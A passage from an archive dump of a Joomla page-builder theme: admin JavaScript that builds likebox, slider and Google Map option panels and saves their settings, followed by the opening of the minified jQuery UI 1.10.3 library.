			content+='<label class="radio inline"><input type="radio" name="st-showheader" value="true" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-showheader" value="false">No</label>';
		content+="</div>";
        
		content+="<label>Show stream:</label>";
		content+="<div class='st-showstream st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-showstream" value="true" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-showstream" value="false">No</label>';
		content+="</div>";
        
		content+="<label>Show border:</label>";
		content+="<div class='st-showborder st-radio'>"; 
			content+='<label class="radio inline"><input type="radio" name="st-showborder" value="true" checked="checked">Yes</label>';
			content+='<label class="radio inline"><input type="radio" name="st-showborder" value="false">No</label>';
		content+="</div>";
        
		content+="<label>Color scheme:</label>";
        content+="<div class='row-fluid'><select class='st-colorScheme'>"; 
            if(data.attr.colorscheme=='light'){
			content+='<option value="light">light</option>';
			content+='<option value="dark">dark</option>';
		    }else{
		    	content+='<option value="dark">dark</option>';
		    	content+='<option value="light">light</option>';
		    }
		content+="</select></div>";
		 content+="<label>Language:</label>";
        content+="<div class='row-fluid'><select class='st-language'>"; 
			content+='<option value="en_US">US</option>';
			content+='<option value="ko_KR">Korea</option>';
		    content+='<option value="fr_FR">France</option>';
	        content+='<option value="ja_JP">Japanese</option>';
	        content+='<option value="it_IT">Italian</option>';
			content+='<option value="vi_VN">VietNam</option>';
		content+="</select></div>";
		content+="<div class='st-button-group'>";
			content+="<button class='btn btn-primary btn-save'>Save</button>";
			content+="<button class='btn btn-cancel'>Cancel</button>";
			content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);
	jQuery('#st-navigation .st-language [value="'+data.attr.language+'"]').prop('selected', true);
	jQuery('#st-navigation .st-showfaces [value="'+data.attr.showfaces+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showheader [value="'+data.attr.showheader+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showstream [value="'+data.attr.showstream+'"]').prop('checked', true);
	jQuery('#st-navigation .st-showborder [value="'+data.attr.showborder+'"]').prop('checked', true);
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveLikebox();
	});
}

function saveLikebox(){
	var width = jQuery('.st-navigation .st-nav-option .st-widthbox').val();
	var height = jQuery('.st-navigation .st-nav-option .st-heightbox').val();
	if(!testNumber(width)){
		alert('Width must be number format.');
		return false;
	}
	if(height!=""){
		if(!testNumber(height)){
			alert('Height must be number format.');
			return false;
		}
	}
	data = {"type":"fb_likebox_desi","content":"","attr":{}};
	data.content=jQuery('.st-navigation .st-nav-option .st-linkpage').val();
	data.attr.width=width;
	data.attr.height=height;
	data.attr.showfaces=jQuery('.st-navigation .st-nav-option .st-showfaces [name="st-showfaces"]:checked').val();
	data.attr.showheader=jQuery('.st-navigation .st-nav-option .st-showheader [name="st-showheader"]:checked').val();
	data.attr.showstream=jQuery('.st-navigation .st-nav-option .st-showstream [name="st-showstream"]:checked').val();
	data.attr.showborder=jQuery('.st-navigation .st-nav-option .st-showborder [name="st-showborder"]:checked').val();
	data.attr.colorscheme=jQuery('.st-navigation .st-nav-option .st-colorScheme').val();
	data.attr.language=jQuery('.st-navigation .st-nav-option .st-language').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}
//  End likebox Option
// get Option Slider
function getSliderOption(data){
	content ="<div class='st-nav-title'><i class='icon-image'></i> Slider<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option st-slider-option'>";
		content+='<ul class="nav nav-tabs" id="tabpopup">';
			content+='<li class="active"><a href="#getimage"><i class="icon-images"></i>Select Images</a></li>';
			content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
		content+='</ul>';
		content+='<div class="tab-content">';
			// Select Image
			content+='<div class="tab-pane active" id="getimage">';
				content+='<div class="row-fluid">';
					content+='<div class="span5">';
						content+='<strong>Path:</strong><input type="text" class="st-path" value="images/temp" /><button class="btn btn-primary st-go" type="button" >Go</button>';
						content+='<div class="st-dragimage">'; 
							content+='<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div>';
							content+='<div class="st-mark"></div></div>';
							content+='<ul id="dragImage">';
							content+='</ul>';
						content+='</div>';
					content+='</div>';
					content+='<div class="span2">';
						content+='<span>Drag and Drop</span>';
					content+='</div>';
					content+='<div class="span5">';
						content+='<strong>Drag & Drop images here:</strong>';
						content+='<div class="st-sortimage"><ul id="sortImage">';
						for(var i=0;i<data.content.length;i++){
							content+='<li class="st-selectimage" data-desc="'+((data.content[i].attr.desc!=null)?data.content[i].attr.desc:"")+'" data-title="'+((data.content[i].attr.title!=null)?data.content[i].attr.title:"")+'">';
								content+='<i class="icon-cancel-circle "></i>';
								content+='<img data-site="'+data.content[i].content+'" src="'+data.content[i].attr.linkadmin+'" />';
							content+='</li>';
						}
						content+='</ul></div>';
						content+='<div class="st-desc-item">';
							content+='<label>Title:</label>';
							content+='<div class="row-fluid"><input type="text" class="st-desc-title span12" /></div>'
							content+='<label>Description:</label>';
							content+='<div class="row-fluid">';
								content+='<textarea class="span12 st-desc-content" rows="4"></textarea>';
							content+='</div>';
						content+='</div>';
					content+='</div>';
				content+="</div>";
			content+='</div>';
			//End Select Image
			content+='<div class="tab-pane" id="config">';
				content+='<div class="row-fluid">';
					content+='<div class="span6">';
						content+='<label>Interval:</label>';
						content+='<div class="row-fluid"><input type="text" class="st-interval span6" value="'+data.attr.interval+'" /></div>';
						content+='<label>Auto:</label>';
						content+='<div class="row-fluid"><select class="st-auto span6">';
							content+='<option value="true">True</option>';
							content+='<option value="false">False</option>';
						content+='</select></div>';
					content+='</div>';
					content+='<div class="span6">';
						content+='<label>Type Slider:</label>';
						content+="<div class='st-typeslider st-radio'>"; 
							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="2" checked="checked">Camera</label>';
							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="3">Flex</label>';
							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="4">Nivo</label>';
							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="5">Elastic</label>';
							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="6">Accordion</label>';
							content+='<label class="radio "><input type="radio" name="st-pancontrol" value="7">carousel Box</label>';
						content+="</div>";
					content+='</div>';
				content+='</div>';
			content+='</div>';
		content+='</div>';

		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('.st-navigation').html(content);

	sliderSelectImage();
	jQuery('#st-navigation .st-typeslider [value="'+((data.attr.typeslider!=null)?data.attr.typeslider:"1")+'"]').prop('checked', true);
	jQuery('#st-navigation .st-auto [value="'+data.attr.auto+'"]').attr("selected","selected");
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('#st-navigation .st-go').click(function(){
		loadImages(jQuery("#st-navigation .st-path").val());
	});
	
	jQuery('#sortImage [class^="icon-"]').click(function(){
		jQuery(this).parent().remove();
	});
	jQuery('.st-nav-option .st-button-group button.btn-primary.btn-save').click(function(){
		saveSlider();
	});
}

function sliderSelectImage(){
	jQuery('.st-navigation #sortImage .st-selectimage').click(function(){
		console.log(encodeURIComponent('Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sed cumque distinctio labore minima ipsum fugit aspernatur dolore deserunt iure sunt officiis iusto <span class="color-text">itaque rerum reprehenderit laborum</span> dignissimos iste assumenda dolorem?'))
		jQuery('.st-navigation #sortImage .st-selectimage').removeClass('selected');
		jQuery(this).addClass('selected');
		jQuery('.st-navigation .st-desc-item .st-desc-title').val(jQuery(this).attr('data-title'));
		jQuery('.st-navigation .st-desc-item .st-desc-content').val((jQuery(this).attr('data-desc')!=null)?decodeURIComponent(jQuery(this).attr('data-desc')):"");
	});
	jQuery('.st-navigation .st-desc-item .st-desc-title').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-title",jQuery(this).val());
	});
	jQuery('.st-navigation .st-desc-item .st-desc-content').keyup(function() {
		jQuery('.st-navigation #sortImage .st-selectimage.selected').attr("data-desc",encodeURIComponent(jQuery(this).val()));
	});
}

function saveSlider(){
	if(testNumber(jQuery('#st-navigation .st-interval').val())){
		data = {"type":"slider_desi","content":[],"attr":{"interval":"","auto":""}};
		data.attr.interval=jQuery('#st-navigation .st-interval').val();
		data.attr.auto=jQuery('#st-navigation .st-auto').val();
		data.attr.typeslider= jQuery('#st-navigation .st-typeslider input[type="radio"]:checked').val();
		var link = "";
		jQuery('#st-navigation #sortImage li').each(function(index){
			var arr = {"type":"item_gallery_desi","content":jQuery(this).find('img').attr("data-site"),"attr":{"linkadmin":jQuery(this).find('img').attr("src"),"title":jQuery.trim(jQuery(this).attr("data-title")),"desc":jQuery.trim(jQuery(this).attr("data-desc"))}};
			data.content.push(arr);
		});
		console.log(data);
		var json = encodeURIComponent(JSON.stringify(data));
		jQuery('#st-page li.st-focus').attr("data",json);
		jQuery.stbox.close();
	}else{
		alert('Numeric characters only.');
		return false;
	}
}
//  End Slider Option

//  Gmap Option
function addGmap(log,lat){
	var center = new google.maps.LatLng(log,lat);
	var loca = log+','+lat;
    jQuery('#geocomplete').geocomplete({
		map: '.map_canvas',
		types: ['establishment'],
		country: 'de',
		details: 'form ',
		markerOptions: {
			draggable: true
		},
		location:loca,
		mapOptions: {
			scrollwheel :true,
			center:center,
			zoom:15
		}
    });
    jQuery('#geocomplete').bind('geocode:dragged', function(event, latLng){
		jQuery('input[name=lat]').val(latLng.lat());
		jQuery('input[name=lng]').val(latLng.lng());
    });
}
function getGmapOption(data){
	content ="<div class='st-nav-title'><i class='icon-map-marker'></i> Gmap<span class='st-close' title='Close'><i class='icon-cancel-circle'></i></span></div>";
	content+="<div class='st-nav-option'>";
		content+="<div class='row-fluid'>";
			content+="<div class='span12'>";
				content+='<ul class="nav nav-tabs" id="tabpopup">';
					content+='<li class="active"><a href="#find"><i class="icon-images"></i>Find</a></li>';
					content+='<li><a href="#config"><i class="icon-cog-2"></i>Config</a></li>';
				content+='</ul>';
				content+='<div class="tab-content">';
					//Begin tab Find
					content+='<div class="tab-pane active st-loadgmap" id="find">';
					content+='</div>';
					// End Tab Find

					//Begin tab Config
					content+='<div class="tab-pane" id="config">';
						content+='<div class="row-fluid">';
							content+='<div class="span6">';
								content+='<label>Formatted Address:</label><input name="formatted_address" class="st-fomartted" type="text" value="'+data.attr.location+'">';
								content+='<label>Zoom:</label><input name="zoom" class="st-zoom" type="text" value="'+data.attr.zoom+'" placeholder="maxZoom = 40">';
								content+='<label>MapTypeId:</label>';
								content+='<select class="st-map_type"><option value="ROADMAP">roadmap</option><option value="HYBRID">hybrid</option><option value="SATELLITE">satellite</option><option value="TERRAIN">terrain</option></select>';
								content+='<label>Height:</label><input name="height_map" class="st-heightmap" type="text" value="'+((data.attr.height==null)?"400":data.attr.height)+'">';
								content+='<label>Class:</label><input name="class_map" class="st-classmap" type="text" value="'+((data.attr.class==null)?"":data.attr.class)+'">';
							
							content+='</div>';
							content+='<div class="span6">';
								content+='<label>Show Pan control:</label>';
								content+="<div class='st-pancontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-pancontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-pancontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Zoom control:</label>';
								content+="<div class='st-zoomcontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-zoomcontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-zoomcontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Maptype control:</label>';
								content+="<div class='st-maptypecontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-maptypecontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-maptypecontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Show Streets control:</label>';
								content+="<div class='st-streetcontrol st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-streetcontrol" value="true" checked="checked">Yes</label>';
									content+='<label class="radio inline"><input type="radio" name="st-streetcontrol" value="false">No</label>';
								content+="</div>";
								content+='<label>Scroll Wheel:</label>';
								content+="<div class='st-scrollwheel st-radio'>"; 
									content+='<label class="radio inline"><input type="radio" name="st-scrollwheel" value="false" checked="checked">No</label>';
									content+='<label class="radio inline"><input type="radio" name="st-scrollwheel" value="true">Yes</label>';
								content+="</div>";
							content+='</div>';
						content+='</div>';
					content+='</div>';
				//End tab Config
				content+='</div>';
			content+="</div>";
		content+="</div>";
		content+="<div class='st-button-group'>";
		content+="<button class='btn btn-primary btn-save'>Save</button>";
		content+="<button class='btn btn-cancel'>Cancel</button>";
		content+="</div>";
	content+="</div>";
	jQuery('#st-navigation').html(content);
	jQuery('#st-navigation .st-map_type [value="'+data.attr.maptype+'"]').attr('selected','selected');
	jQuery('#st-navigation .st-pancontrol [value="'+data.attr.pancontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-zoomcontrol [value="'+data.attr.zoomcontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-maptypecontrol [value="'+data.attr.maptypecontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-streetcontrol [value="'+data.attr.streetcontrol+'"]').attr('checked','checked');
	jQuery('#st-navigation .st-scrollwheel [value="'+((data.attr.scrollwheel==null)?"false":data.attr.scrollwheel)+'"]').attr('checked','checked');
	jQuery('#tabpopup a').click(function (e) {
		e.preventDefault();
		jQuery(this).tab('show');
	});
	jQuery('.st-nav-option button.btn-primary.btn-save').click(function(){
		saveGmap();
	});
}

function saveGmap(){
	var zoom = jQuery.trim(jQuery('#st-navigation .st-zoom').val());
	if(!testNumber(zoom)){
		alert('Zoom must be number format.');
		return false;
	}
	if(zoom<0 && zoom>21){
		alert('Zoom must be bettwen 1 and 21');
		return false;
	}
	data = {"type":"gmap_desi","content":"","attr":{}};
	data.attr.latitude=jQuery('#st-navigation .st-latgmap').val();
	data.attr.longitude=jQuery('#st-navigation .st-lnggmap').val();
	data.attr.location=jQuery('#st-navigation .st-fomartted').val();
	data.attr.zoom=zoom;
	data.attr.maptype=jQuery('#st-navigation .st-map_type').val();
	data.attr.pancontrol = jQuery('#st-navigation [name="st-pancontrol"]:checked').val();
	data.attr.zoomcontrol = jQuery('#st-navigation [name="st-zoomcontrol"]:checked').val();
	data.attr.maptypecontrol = jQuery('#st-navigation [name="st-maptypecontrol"]:checked').val();
	data.attr.streetcontrol = jQuery('#st-navigation [name="st-streetcontrol"]:checked').val();
	data.attr.height=jQuery.trim((jQuery('#st-navigation .st-heightmap').val()==null)?'400':jQuery('#st-navigation .st-heightmap').val());
	data.attr.class=jQuery.trim((jQuery('#st-navigation .st-classmap').val()==null)?'':jQuery('#st-navigation .st-classmap').val());
	data.attr.scrollwheel = jQuery('#st-navigation [name="st-scrollwheel"]:checked').val();
	var json = encodeURIComponent(JSON.stringify(data));
	jQuery('#st-page li.st-focus').attr("data",json);
	jQuery.stbox.close();
}

//  End Gmap


// Ajax load Images
function loadImages(url){
	jQuery.ajax({
		type:"POST",
		url :"index.php?option=com_stpagebuilder&task=page.getImageFolder&tmpl=component",
		data:{folder:url},
		beforeSend:function(){
			var inputs = jQuery("#st-navigation #getimage").find("input,button");
        	inputs.prop("disabled", true);
        	jQuery("#st-navigation #dragImage li").remove();
			if(jQuery('#st-navigation .st-dragimage #st-load').length==0){
				jQuery('#st-navigation .st-dragimage').append('<div id="st-load"><div class="st-loadding"><i class="icon-spinner-5 icon-spinning"></i></div><div class="st-mark"></div></div>');
			}
		},
		success:function(response){
			response = jQuery.parseJSON(response);
			if(response.check==1){
				var html ="";
				for(var i=0;i<response.data.length;i++){
					html+='<li class="st-selectimage"><i class="icon-cancel-circle "></i><img title="'+response.data[i]["name"]+'" data-site="'+response.data[i]["site"]+'" src="'+response.data[i]["admin"]+'" /></li>';
				}
				jQuery('#st-navigation .st-dragimage #st-load').remove();
				var inputs = jQuery("#st-navigation #getimage").find("input,button");
	        	inputs.prop("disabled", false);
				jQuery('#st-navigation #dragImage').html(html);
			}else{
				jQuery('#st-navigation .st-dragimage #st-load').remove();
				var inputs = jQuery("#st-navigation #getimage").find("input,button");
	        	inputs.prop("disabled", false);
			}
			jQuery( ".st-navigation #dragImage li" ).draggable({
				connectToSortable: "#sortImage",
				appendTo: "body",
				placeholder: 'placeholder',
				helper: "clone",
				revert: "invalid"
			});

			jQuery( ".st-navigation #sortImage" ).sortable({
				connectToSortable: "#dragImage",
				appendTo: "body",
				placeholder: 'placeholder',
			    receive: function(event, ui) {
		      		jQuery('#sortImage [class^="icon-"]').click(function(){
		      			jQuery(this).parent().remove();
		      		});
		        },
		        deactivate: function(event,ui){
		        	sliderSelectImage();
		        } 
		    });
		    jQuery( ".st-navigation #sortImage" ).disableSelection();
		}
	});
}
function testNumber(text){
	var reg = /^\d+$/;
	return reg.test(text);
}
function testEmpty(sele){
	if(jQuery.trim(sele.val())==""){
		return true;
	}else{
		return false;
	}
}
function testspecialclass(text){
	var reg = /^\s*[a-zA-Z0-9\_\-\s]*\s*$/;
	return reg.test(text);
}
function testspecial(text){
	var reg = /^\s*[a-zA-Z0-9,\s]*\s*$/;
	return reg.test(text);
}
function testpath(text){
	var reg = /^[a-zA-Z0-9\/]*$/;
	return reg.test(text);
}

function convertHTML(str)
{
	str = str.replace(/&/g, "&amp;");
	str = str.replace(/>/g, "&gt;");
	str = str.replace(/</g, "&lt;");
	str = str.replace(/"/g, "&quot;");
	str = str.replace(/'/g, "&#039;");
	return str;
}PK!4���z�z$bluetheme/assets/js/jquery-ui.min.jsnu&1i�/*! jQuery UI - v1.10.3 - 2013-05-03
* http://jqueryui.com
* Includes: jquery.ui.core.js, jquery.ui.widget.js, jquery.ui.mouse.js, jquery.ui.draggable.js, jquery.ui.droppable.js, jquery.ui.resizable.js, jquery.ui.selectable.js, jquery.ui.sortable.js, jquery.ui.effect.js, jquery.ui.accordion.js, jquery.ui.autocomplete.js, jquery.ui.button.js, jquery.ui.datepicker.js, jquery.ui.dialog.js, jquery.ui.effect-blind.js, jquery.ui.effect-bounce.js, jquery.ui.effect-clip.js, jquery.ui.effect-drop.js, jquery.ui.effect-explode.js, jquery.ui.effect-fade.js, jquery.ui.effect-fold.js, jquery.ui.effect-highlight.js, jquery.ui.effect-pulsate.js, jquery.ui.effect-scale.js, jquery.ui.effect-shake.js, jquery.ui.effect-slide.js, jquery.ui.effect-transfer.js, jquery.ui.menu.js, jquery.ui.position.js, jquery.ui.progressbar.js, jquery.ui.slider.js, jquery.ui.spinner.js, jquery.ui.tabs.js, jquery.ui.tooltip.js
* Copyright 2013 jQuery Foundation and other contributors; Licensed MIT */
(function(t,e){function i(e,i){var n,o,a,r=e.nodeName.toLowerCase();return"area"===r?(n=e.parentNode,o=n.name,e.href&&o&&"map"===n.nodeName.toLowerCase()?(a=t("img[usemap=#"+o+"]")[0],!!a&&s(a)):!1):(/input|select|textarea|button|object/.test(r)?!e.disabled:"a"===r?e.href||i:i)&&s(e)}function s(e){return t.expr.filters.visible(e)&&!t(e).parents().addBack().filter(function(){return"hidden"===t.css(this,"visibility")}).length}var n=0,o=/^ui-id-\d+$/;t.ui=t.ui||{},t.extend(t.ui,{version:"1.10.3",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),t.fn.extend({focus:function(e){return function(i,s){return"number"==typeof i?this.each(function(){var e=this;setTimeout(function(){t(e).focus(),s&&s.call(e)},i)}):e.apply(this,arguments)}}(t.fn.focus),scrollParent:function(){var e;return e=t.ui.ie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(t.css(this,"position"))&&/(auto|scroll)/.test(t.css(this,"overflow")+t.css(this,"overflow-y")+t.css(this,"overflow-x"))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(t.css(this,"overflow")+t.css(this,"overflow-y")+t.css(this,"overflow-x"))}).eq(0),/fixed/.test(this.css("position"))||!e.length?t(document):e},zIndex:function(i){if(i!==e)return this.css("zIndex",i);if(this.length)for(var s,n,o=t(this[0]);o.length&&o[0]!==document;){if(s=o.css("position"),("absolute"===s||"relative"===s||"fixed"===s)&&(n=parseInt(o.css("zIndex"),10),!isNaN(n)&&0!==n))return n;o=o.parent()}return 0},uniqueId:function(){return this.each(function(){this.id||(this.id="ui-id-"+ ++n)})},removeUniqueId:function(){return this.each(function(){o.test(this.id)&&t(this).removeAttr("id")})}}),t.extend(t.expr[":"],{data:t.expr.createPseudo?t.expr.createPseudo(function(e){return function(i){return!!t.data(i,e)}}):function(e,i,s){return!!t.data(e,s[3])},focusable:function(e){return i(e,!isNaN(t.attr(e,"tabindex")))},tabbable:function(e){var s=t.attr(e,"tabindex"),n=isNaN(s);return(n||s>=0)&&i(e,!n)}}),t("<a>").outerWidth(1).jquery||t.each(["Width","Height"],function(i,s){function n(e,i,s,n){return t.each(o,function(){i-=parseFloat(t.css(e,"padding"+this))||0,s&&(i-=parseFloat(t.css(e,"border"+this+"Width"))||0),n&&(i-=parseFloat(t.css(e,"margin"+this))||0)}),i}var o="Width"===s?["Left","Right"]:["Top","Bottom"],a=s.toLowerCase(),r={innerWidth:t.fn.innerWidth,innerHeight:t.fn.innerHeight,outerWidth:t.fn.outerWidth,outerHeight:t.fn.outerHeight};t.fn["inner"+s]=function(i){return i===e?r["inner"+s].call(this):this.each(function(){t(this).css(a,n(this,i)+"px")})},t.fn["outer"+s]=function(e,i){return"number"!=typeof e?r["outer"+s].call(this,e):this.each(function(){t(this).css(a,n(this,e,!0,i)+"px")})}}),t.fn.addBack||(t.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),t("<a>").data("a-b","a").removeData("a-b").data("a-b")&&(t.fn.removeData=function(e){return function(i){return arguments.length?e.call(this,t.camelCase(i)):e.call(this)}}(t.fn.removeData)),t.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase()),t.support.selectstart="onselectstart"in document.createElement("div"),t.fn.extend({disableSelection:function(){return this.bind((t.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(t){t.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}}),t.extend(t.ui,{plugin:{add:function(e,i,s){var n,o=t.ui[e].prototype;for(n in s)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([i,s[n]])},call:function(t,e,i){var s,n=t.plugins[e];if(n&&t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType)for(s=0;n.length>s;s++)t.options[n[s][0]]&&n[s][1].apply(t.element,i)}},hasScroll:function(e,i){if("hidden"===t(e).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return e[s]>0?!0:(e[s]=1,n=e[s]>0,e[s]=0,n)}})})(jQuery),function(t,e){var i=0,s=Array.prototype.slice,n=t.cleanData;t.cleanData=function(e){for(var i,s=0;null!=(i=e[s]);s++)try{t(i).triggerHandler("remove")}catch(o){}n(e)},t.widget=function(i,s,n){var o,a,r,h,l={},c=i.split(".")[0];i=i.split(".")[1],o=c+"-"+i,n||(n=s,s=t.Widget),t.expr[":"][o.toLowerCase()]=function(e){return!!t.data(e,o)},t[c]=t[c]||{},a=t[c][i],r=t[c][i]=function(t,i){return this._createWidget?(arguments.length&&this._createWidget(t,i),e):new r(t,i)},t.extend(r,a,{version:n.version,_proto:t.extend({},n),_childConstructors:[]}),h=new s,h.options=t.widget.extend({},h.options),t.each(n,function(i,n){return t.isFunction(n)?(l[i]=function(){var t=function(){return s.prototype[i].apply(this,arguments)},e=function(t){return s.prototype[i].apply(this,t)};return function(){var i,s=this._super,o=this._superApply;return this._super=t,this._superApply=e,i=n.apply(this,arguments),this._super=s,this._superApply=o,i}}(),e):(l[i]=n,e)}),r.prototype=t.widget.extend(h,{widgetEventPrefix:a?h.widgetEventPrefix:i},l,{constructor:r,namespace:c,widgetName:i,widgetFullName:o}),a?(t.each(a._childConstructors,function(e,i){var s=i.prototype;t.widget(s.namespace+"."+s.widgetName,r,i._proto)}),delete a._childConstructors):s._childConstructors.push(r),t.widget.bridge(i,r)},t.widget.extend=function(i){for(var n,o,a=s.call(arguments,1),r=0,h=a.length;h>r;r++)for(n in a[r])o=a[r][n],a[r].hasOwnProperty(n)&&o!==e&&(i[n]=t.isPlainObject(o)?t.isPlainObject(i[n])?t.widget.extend({},i[n],o):t.widget.extend({},o):o);return i},t.widget.bridge=function(i,n){var o=n.prototype.widgetFullName||i;t.fn[i]=function(a){var r="string"==typeof a,h=s.call(arguments,1),l=this;return a=!r&&h.length?t.widget.extend.apply(null,[a].concat(h)):a,r?this.each(function(){var s,n=t.data(this,o);return n?t.isFunction(n[a])&&"_"!==a.charAt(0)?(s=n[a].apply(n,h),s!==n&&s!==e?(l=s&&s.jquery?l.pushStack(s.get()):s,!1):e):t.error("no such method '"+a+"' for "+i+" widget instance"):t.error("cannot call methods on "+i+" prior to initialization; "+"attempted to call method '"+a+"'")}):this.each(function(){var e=t.data(this,o);e?e.option(a||{})._init():t.data(this,o,new n(a,this))}),l}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{disabled:!1,create:null},_createWidget:function(e,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=i++,this.eventNamespace="."+this.widgetName+this.uuid,this.options=t.widget.extend({},this.options,this._getCreateOptions(),e),this.bindings=t(),this.hoverable=t(),this.focusable=t(),s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this._create(),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:t.noop,_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){this._destroy(),this.element.unbind(this.eventNamespace).removeData(this.widgetName).removeData(this.widgetFullName).removeData(t.camelCase(this.widgetFullName)),this.widget().unbind(this.eventNamespace).removeAttr("aria-disabled").removeClass(this.widgetFullName+"-disabled "+"ui-state-disabled"),this.bindings.unbind(this.eventNamespace),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")},_destroy:t.noop,widget:function(){return this.element},option:function(i,s){var n,o,a,r=i;if(0===arguments.length)return t.widget.extend({},this.options);if("string"==typeof i)if(r={},n=i.split("."),i=n.shift(),n.length){for(o=r[i]=t.widget.extend({},this.options[i]),a=0;n.length-1>a;a++)o[n[a]]=o[n[a]]||{},o=o[n[a]];if(i=n.pop(),s===e)return o[i]===e?null:o[i];o[i]=s}else{if(s===e)return this.options[i]===e?null:this.options[i];r[i]=s}return this._setOptions(r),this},_setOptions:function(t){var e;for(e in t)this._setOption(e,t[e]);return this},_setOption:function(t,e){return this.options[t]=e,"disabled"===t&&(this.widget().toggleClass(this.widgetFullName+"-disabled ui-state-disabled",!!e).attr("aria-disabled",e),this.hoverable.removeClass("ui-state-hover"),this.focusable.removeClass("ui-state-focus")),this},enable:function(){return this._setOption("disabled",!1)},disable:function(){return this._setOption("disabled",!0)},_on:function(i,s,n){var o,a=this;"boolean"!=typeof i&&(n=s,s=i,i=!1),n?(s=o=t(s),this.bindings=this.bindings.add(s)):(n=s,s=this.element,o=this.widget()),t.each(n,function(n,r){function h(){return i||a.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof r?a[r]:r).apply(a,arguments):e}"string"!=typeof r&&(h.guid=r.guid=r.guid||h.guid||t.guid++);var l=n.match(/^(\w+)\s*(.*)$/),c=l[1]+a.eventNamespace,u=l[2];u?o.delegate(u,c,h):s.bind(c,h)})},_off:function(t,e){e=(e||"").split(" ").join(this.eventNamespace+" ")+this.eventNamespace,t.unbind(e).undelegate(e)},_delay:function(t,e){function i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var s=this;return setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){t(e.currentTarget).addClass("ui-state-hover")},mouseleave:function(e){t(e.currentTarget).removeClass("ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){t(e.currentTarget).addClass("ui-state-focus")},focusout:function(e){t(e.currentTarget).removeClass("ui-state-focus")}})},_trigger:function(e,i,s){var n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n in o)n in i||(i[n]=o[n]);return this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof n?i:n.effect||i:e;n=n||{},"number"==typeof 